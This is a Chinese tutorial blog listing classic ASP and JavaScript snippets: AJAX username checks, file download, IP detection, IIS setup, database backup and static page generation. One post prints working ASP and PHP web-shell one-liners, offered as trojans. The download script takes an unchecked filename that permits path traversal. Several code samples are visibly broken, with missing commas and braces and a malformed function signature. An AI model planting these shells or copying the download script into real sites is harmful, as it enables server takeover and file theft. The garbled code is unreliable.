分类: PHP教程 |
预览模式: 普通 | 列表

JS对象属性集锦

用于包含JavaScript代码.  

属性

LANGUAGE 定义脚本语言
SRC 定义一个URL用以指定以.JS结尾的文件

window对象

每个HTML文档的顶层对象.

属性

查看更多...

Tags: js 对象 属性

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 5932

js实现无刷新更新数据

程序设计中会经常碰到一种情况,就是事先无法得知用户会需要哪些数据,必须根据用户选择后再从服务器重新提取数据后反馈给用户。比如一简单的情况,用户选择省份以后,我们立即会在市里边将这个省的所有市重新显示出来。这种
程序设计中会经常碰到一种情况,就是事先无法得知用户会需要哪些数据,必须根据用户选择后再从服务器重新提取数据后反馈给用户。比如一简单的情况,用户选择省份以后,我们立即会在市里边将这个省的所有市重新显示出来。这种情况一般需要将整个页面刷新后才可以重新读取,但这样不仅效率不高外,也显得不太优雅。其实用javascript结合微软件的XMLHTTP对象,我们可以不用刷新,“稍稍”的就可以将数据从服务器上读取出来,显得既专业,又高效。

  下面我们就以一个验证用户是否被注册的情况来演示这种技术。 

'程序设计:环球万维,专业域名注册,虚拟主机服务商 
'网址:http://www.netInter.cn
'此程序为环球万维原创程序,所以如果您需转载,请注明出处,谢谢。
'以上信息与文章正文是不可分割的一部分,所以如果您要转载本文章,您必须保留以上信息.

  1.首先在服务器上建立一个CheckUser.asp文件,用来检测用户是否存在,根据用户是否存在分别反馈0和1

u_name=Request.QueryString("u_name") 
if u_name 存在 then 
Response.write "0" 
else 
Response.write "1" 
end if

    2.客户端HTML设计:

一、JavaScript代码:

<script language=javascript> 
function check_user_exists(form){ 
u_name=form.u_name.value; 
if (u_name==null||u_name==''){ 
alert("请您输入用户名"); 
return false; 

infoBoard=document.getElementById("checkInfo"); 
infoBoard.innerText='查询中...'; 
myurl=location.protocol+"//"+location.hostname+"/CheckUser.asp?u_name="+u_name; 
retCode=openUrl(myurl); 
switch(retCode){ 
case "-2": 
infoBoard.innerHTML='<font color=red>抱歉</font>,查询失败';break; 
case "1": 
infoBoard.innerHTML='<font color=red>恭喜</font>,'+u_name+'可以使用';break; 
case "0": 
infoBoard.innerHTML='<font color=red>抱歉</font>,用户名'+u_name+'已经被使用'; 

return; 

function openurl(/url){ 
var objxml=new ActiveXObject("Microsoft.XMLHttp") 
objxml.open("GET",url,false); 
objxml.send(); 
retInfo=objxml.responseText; 
if (objxml.status=="200"){ 
return retInfo; 

else{ 
return "-2"; 


</script>


二、HTML表单设计:

<form name=form1 action="XXXX.asp" method="post"> 
<input type=text name=u_name><span id="checkInfo"></span><input type=button name=checkuser value="检测用户是否存在" onClick="check_user_exists(this.form);"> 
</form>


经过以上三步,一个不需要页面刷新的数据更新程序就完成了,按此方法,可以实现很多会很酷的应用:)
分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 6948

ASP下载功能实现 

 

将下边的文件保存为Download.asp就可以了,然后根据需要传要下载的文件过来就可以了。

  使用格式:Download.asp?FileName=要下载的文件名

  注意:FileName后边只能是要下载的文件名,文件所在的路径要在源代码里设置FilePath变量。当然这个变量也可以动态设置,方法两种:一、也是使用URL传递过来;二、从数据库中读去。至于如何设置,根据需要了。

 

 1 <%
 2 Dim Stream
 3 Dim Contents
 4 Dim FileName
 5 Dim FileExt
 6 Dim FilePath
 7 
 8 Rem 设置下载文件所在的路径,默认空,要下载的文件与当前文件在同一目录
 9 FilePath = ""
10 
11 Const adTypeBinary = 1
12 FileName = Request.QueryString("FileName")
13 if FileName = "" Then
14     Response.Write "无效文件名."
15     Response.End
16 End if
17 
18 Rem 下面是不希望下载的文件
19 FileExt = Mid(FileName, InStrRev(FileName, "."+ 1)
20 Select Case UCase(FileExt)
21     Case "ASP""ASA""ASPX""ASAX""MDB"
22         Response.Write "受保护文件,不能下载."
23         Response.End
24 End Select
25 
26 Rem 下载这个文件
27 Response.Clear
28 Response.ContentType = "application/octet-stream"
29 Response.AddHeader "content-disposition""attachment; filename=" & FileName
30 Set Stream = server.CreateObject("ADODB.Stream")
31 Stream.Type = adTypeBinary
32 Stream.Open
33 Stream.LoadFromFile Server.MapPath(FileName)
34 While Not Stream.EOS
35     Response.BinaryWrite Stream.Read(1024 * 64)
36 Wend
37 Stream.Close
38 Set Stream = Nothing
39 Response.Flush
40 Response.End
41 %>

查看更多...

分类:PHP教程 | 固定链接 | 评论: 2 | 查看次数: 8055

asp获取真实ip

Function getIP()
Dim strIPAddr
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" or InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then

strIPAddr = Request.ServerVariables("REMOTE_ADDR")

ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)

ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)

Else
strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
End If
getIP = Trim(Mid(strIPAddr, 1, 30))

End Function


使用这个函数能获得真实的ip地址,而不会是http代理服务器的地址
分类:PHP教程 | 固定链接 | 评论: 1 | 查看次数: 6136

一句话木马的多种写法

asp一句话
<%execute(request("1"))%>

php一句话
<?php eval($_POST[1]);?>

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 6124

在HTML中用JS获取GET的参数

/** 
* 模仿request.getParameter(); 
* 但是只能接收三种提交 
* <form method=GET ..>...</form> 
* <a href="xxx.html?a=b&dc=3">xxx</a> 

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 8797

Asp中CreateObject对象汇总

ADO对象(太常用了): 
Server.CreateObject("ADODB.Connection") 
Server.CreateObject("ADODB.Command") 
Server.CreateObject("ADODB.RecordSet") 
Server.CreateObject("ADODB.Record") 

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 7193

IIS7和ASP的安装配置和使用

有些高端用户也许会用到IIS,Win7和Vista一样都内置了最新的IIS7,那么ISS7要如何安装配置和使用呢?在IIS7下ASP又该如何配置呢?本站整理了相关操作步骤,如下。
   
    不过在操作之前请将Win7的UAC设置到最低,否则会它会非常讨厌的跳出来。

    1.进入Win7的控制面板,选择“程序”然后在点击“程序和功能”,在左侧选择的“打开或关闭Windows功能”在出现的列表中选择IIS7然后确定。  

     2.安装完成后,再次进入控制面板,选择“管理工具”,双击 Internet(IIS)管理器选项,进入IIS设置。

    3.进入到IIS7控制面板。

    4.选择Default Web Site,并双击ASP的选项。

    5.IIS7中ASP父路径是没有启用的,要开启父路径,选择True即可。

    6.配置IIS7的站点, 单击右边的“高级设置”选项,可以设置网站的目录。

    7、点击右侧的“绑定”,然后设置网站的端口。

    8、点击“默认文档”, 设置网站的默认文档完成即可。

Tags: asp iis 安装

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 5346

ASP备份数据库

文件1:BackupDB.asp

<%@ Language=VBScript %>
<HTML>
<HEAD>

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 6031

asp备份sql数据库

首先,你要这样来备份数据库: 

SQL="backup database 数据库名 to disk='"&Server.MapPath("backup")&"\"&"backuptext.dat"&"' with INIT" 

这样你的备份将覆盖原来的同名备份(如果有的话),否则备份将附加在原来的备份上,不仅文件越来越大,日后还原时还会发生各种问题。 

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 5711

ASP连接SQL数据库

ASP连接SQL数据库 的几种方法介绍

在Internet网上随处可见留言板、讨论组、网上投票、网上调查、聊天室等Internet功能模块,在许多单位的小型局域网中也运行着各种各样的办公自动化网络系统,这些程序都是利用ASP(Active Server Page)与数据库技术结合而实现的。页面与数据库源建立连接是访问数据库的一步,也是最为重要的一步。 

在ASP脚本中可以通过三种实用的方法连接数据库:通过ODBC DSN建立连接,通过oledb建立连接,通过driver建立连接。 

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 8479

在ASP中使用SQL语句

Select 语句 

  五花八门的SQL产品多得要命,或许你早顾不得其它甩开袖子就动手干了。但你要同时采用ASP和SQL的话就可能会头晕。MySQL、sql server和mSQL都是绝佳的SQL工具,可惜,在ASP的环境下你却用不着它们来创建实用的SQL语句。不过,你可以利用自己掌握的Access知识以及相应的Access技能,再加上我们的提示和技巧,相信一定能成功地在你的ASP网页中加入SQL。 
  在SQL的世界里,最最基础的操作就是Select 语句了。在数据库工具下直接采用SQL的时候很多人都会熟悉下面的操作: 
Select what 

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 5508

asp execute 详解

  ASP Execute方法的作用是执行一个来自于其他ASP文件内部的ASP程序。当其他ASP文件内的程序被请求执行完毕之后,控制器将返回最初发出请求的原始ASP文件 
  Syntax 语法
  Server.Execute(path) 
  Parameter参数 
  path

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 4608

ASP session的用法具体解说

Session 对象   可以使用 Session 对象存储特定用户会话所需的信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。

  当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

  Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在 Session 对象中。有关使用 Session 对象的详细信息,请参阅“ASP 应用程序”部分的“管理会话”。    注意 会话状态仅在支持 cookie 的浏览器中保留。

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 4855

解析ASP的Application和Session对象

  · 当载入ASP DLL并响应对一个ASP网页的第一个请求时,创建Application对象。该对象提供一个存储场所,用来存储对于所有访问者打开的所有网页都可用的变量和对象。
  
  · 当访问者首次从站点请求一个ASP页面时,为他创建一个Session对象,并保持有效直到缺省的超时周期(或由脚本确定的超时周期)。该对象提供一个存储场所,用来存储仅仅对该访问者在会话的活动期间打开的网页可用的变量和对象。

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 5995

Using Web.Config in ASP.NET and ASP

Introduction:  

Web.config acts as a central location for storing the information to be accessed by web pages. This information could be a Connection String stored at a centralized location so that it can be accessed in a data-driven page. If the connection string changes its just a matter of changing it at one place. 

In classic ASP such global information was typically stored as an application variable. 

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 4936

asp server.mappath 方法

定义和用法
MapPath 方法可把指定的路径影射到服务器上相应的物理路径上。

注释:此方法不能用于 Session.OnEnd 和 Application.OnEnd 中。
Syntax

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 6780

asp for(ASP脚本循环语句)

   循环语句的作用就是重复执行程序代码,循环可分为三类:一类在条件变为“假”之前重复执行语句,一类在条件变为“真”之前重复执行语句,另一类按照指定的次数重复执行语句。在 VBScript 中可使用下列循环语句: 
   Do...Loop: 当(或直到)条件为“真”时循环。 
   While...Wend: 当条件为“真”时循环。 
   For...Next: 指定循环次数,使用计数器重复运行语句。 
   For Each...Next: 对于集合中的每项或数组中的每个元素,重复执行一组语句。    我们先来看看 Do...Loop,它是可以多次(次数不定)运行语句块。当条件为“真”时或条件变为“真”之前,重复执行语句块。请看下例:   < html>< head>

查看更多...

Tags: asp 脚本 循环

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 4921

asp上传文件(无组件)

1.库文件(upload.inc.asp)
<%
Dim oUpFileStream 
Class UpFile_Class

查看更多...

Tags: asp 上传 组件

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 5017

asp生成伪静态的原理及方法

ASP动态页面转化成静态页面的好处,这里我就不说了,相信大家在网上了解的够多了。现在稍微讲解一下asp动态页面生成静态页面的原理。
其实asp生成静态页面的一个核心就是replace函数。只要知道replace的使用,那么对生成静态页面的方法也就掌握2/3了。废话少说,开始工作吧...
第一步:理解replace函数。
<%
dim str
str="你好!欢迎来到我的博客"
'现在把上面换成“你好!欢迎来到www.zeroplace.cn”;
str=replace(str,"第零空间",www.zeroplace.cn)
response.write(str)
%>
运行一下,现在大概知道replace函数的作用了。现在我们把思维开阔一点,如果我们把"你好!欢迎来到我的博客"这句话换成一个html页面的代码,把页面中的一些内容换成数据库中的内容,那不就实现了动态页面静态化了。有点迷糊吧....哈哈。没关系,举例。。。
第二步:创建静态页面模板
在dreamwear中创建一个html页面。随便输入一点内容。template.html

$content$

现在要实现第一步的替换,那么怎么把这个template.html页面中的代码赋值给str呢?这个应该怎么办?其实asp中有提供一个读取页面代码的方法(描述不是很规范),这个就是用fso。大家把这个下面这个代码记住就可以了。

 

fso读取 template.html 的方法
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set templates = fso.OpenTextFile(server.MapPath("template.html"))
str=templates.readall()'读出结果,赋值给str
set fso=nothing
set templates=nothing
这个时候就把template.html读到str了。怎么样,到这一步应该知道怎么去替换了吧?那么现在把articleTitle替换成"bonny的个人博客",把content替换成"本站提供网页制作,flash动画制作,平面设计服务,观注互联网前端技术!".
str=replace(str,"articleTitle","bonny的个人博客")
str=replace(str,"content","本站提供网页制作,flash动画制作,平面设计服务,观注互联网前端技术!")
做完替换之后,还有一个最重要的步骤,就是把str重新还原成一个html网页。当然了,不管是读取文件还是写出文件,都离不开fso。那么我们做如下的一些代码。假设新产生的页面设置为bo_index.html
fileName="bo_index.html"
Set createHtml = Server.CreateObject("Scripting.FileSystemObject")
Set htmlFile = createHtml.CreateTextFile(server.MapPath(fileName))
htmlFile.write(str)
set htmlFile=nothing
set createHtml=nothing
执行完上述代码后,去看看,你的硬盘上是不是多了一个bo_index.html.打开来看看她和template.html有什么区别?
第三步:总结。
asp产生静态页面首先要创建一个页面模板,(特别提示:模板中要被替换的内容最好用特殊符号,比如$界定开来,避免其他不能被替换的内容混淆。)
其次是要用fso读出这个模板。最后我们从数据库中查找出数据,替换掉模板中的内容并产生新的页面。
一个小技巧,在设定输出的文件名称的时候,我们未必就用bo_index.html,用bo_index.shtml也是可以的哦,大家试试看吧。

当然了,除了这个方法外。把模板文件的html代码保存到数据库中,从数据库中查找出来。


Tags: asp 原理

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 5569
博主QQ: 友情链接请找我
QQ群: 灰色档案
返回顶部 关闭